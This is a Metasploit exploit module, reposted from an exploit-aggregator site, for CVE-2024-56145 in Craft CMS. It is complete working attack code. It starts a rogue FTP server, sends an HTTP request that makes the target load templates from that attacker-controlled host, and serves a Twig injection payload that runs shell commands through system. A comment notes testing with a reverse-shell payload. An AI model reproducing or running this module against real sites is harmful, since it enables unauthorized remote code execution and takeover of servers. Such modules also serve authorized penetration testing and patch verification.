Share
## https://sploitus.com/exploit?id=1337DAY-ID-39882
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::FtpServer
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path',
'Description' => %q{
This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.
The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).
},
'Author' => [
'jheysel-r7', # Metasploit module
'Valentin Lobstein', # Refactor, Fix, and PoC
'AssetNote' # Vulnerability discovery
],
'References' => [
['CVE', '2024-56145'],
['URL', 'https://github.com/Chocapikk/CVE-2024-56145'],
['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms']
],
'Payload' => {
'BadChars' => "\x22\x27" # " and '
},
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-12-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
end
def vulnerable_file_list
%w[/default/index.twig /default/index.html]
end
def get_payload
"{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
end
def send_ftp_response(cli, code, message)
cli.put "#{code} #{message}\r\n"
vprint_status("-> #{code} #{message}")
end
def on_client_connect(cli)
@state[cli] = {
name: "#{cli.peerhost}:#{cli.peerport}",
ip: cli.peerhost,
port: cli.peerport,
user: nil,
pass: nil,
cwd: '/'
}
send_ftp_response(cli, 220, 'FTP Server Ready')
end
def on_client_command_user(cli, arg)
vprint_status('on_client_command_user')
if arg.downcase == 'anonymous'
@state[cli][:user] = 'anonymous'
send_ftp_response(cli, 331, 'Username ok, send password.')
else
send_ftp_response(cli, 530, 'Not logged in.')
end
end
def on_client_command_pass(cli, arg)
vprint_status('on_client_command_pass')
if @state[cli][:user] == 'anonymous'
@state[cli][:pass] = arg
send_ftp_response(cli, 230, 'Login successful.')
else
send_ftp_response(cli, 530, 'Not logged in.')
end
end
def on_client_command_cwd(cli, arg)
vprint_status('on_client_command_cwd')
if arg == '/default'
@state[cli][:cwd] = '/default'
send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.")
else
send_ftp_response(cli, 550, 'Not a directory')
end
end
def on_client_command_type(cli, arg)
vprint_status('on_client_command_type')
if arg == 'I'
send_ftp_response(cli, 200, 'Type set to: Binary.')
else
send_ftp_response(cli, 500, 'Unknown type.')
end
end
def on_client_command_size(cli, arg)
vprint_status('on_client_command_size')
if vulnerable_file_list.include?(arg)
send_ftp_response(cli, 213, get_payload.length.to_s)
else
send_ftp_response(cli, 550, "#{arg} is not retrievable.")
end
end
def on_client_command_mdtm(cli, arg)
vprint_status('on_client_command_mdtm')
if vulnerable_file_list.include?(arg)
send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S'))
else
send_ftp_response(cli, 550, "#{arg} is not retrievable.")
end
end
def on_client_command_epsv(cli, _arg)
vprint_status('on_client_command_epsv')
send_ftp_response(cli, 502, 'EPSV command not implemented.')
end
def on_client_command_retr(cli, arg)
vprint_status('on_client_command_retr')
if vulnerable_file_list.include?(arg)
conn = establish_data_connection(cli)
unless conn
send_ftp_response(cli, 425, "Can't open data connection.")
return
end
send_ftp_response(cli, 150, "Opening data connection for #{arg}")
conn.put(get_payload)
conn.close
send_ftp_response(cli, 226, 'Transfer complete.')
else
send_ftp_response(cli, 550, 'File not available.')
end
rescue IOError => e
vprint_error("Data transfer failed: #{e.message}")
send_ftp_response(cli, 425, 'Data transfer failed.')
end
def on_client_command_quit(cli, _arg)
vprint_status('on_client_command_quit')
send_ftp_response(cli, 221, 'Goodbye.')
end
def on_client_command_unknown(cli, cmd, arg)
vprint_status('on_client_command_unknown')
send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
end
def check
vprint_status('Performing vulnerability check...')
nonce = Rex::Text.rand_text_alphanumeric(8)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => { '--configPath' => "/#{nonce}" }
)
if res&.body&.include?('mkdir()') && res.body.include?(nonce)
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
def trigger_http_request
vprint_status('Triggering HTTP request...')
templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
send_request_raw(
'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
'method' => 'GET'
)
rescue StandardError => e
vprint_error("HTTP request failed: #{e.message}")
end
def start_ftp_service
if datastore['SSL'] == true
reset_ssl = true
datastore['SSL'] = false
end
start_service
if reset_ssl
datastore['SSL'] = true
end
end
def exploit
vprint_status('Starting FTP service...')
start_ftp_service
vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
vprint_status('Sending HTTP request to trigger the payload...')
trigger_http_request
end
end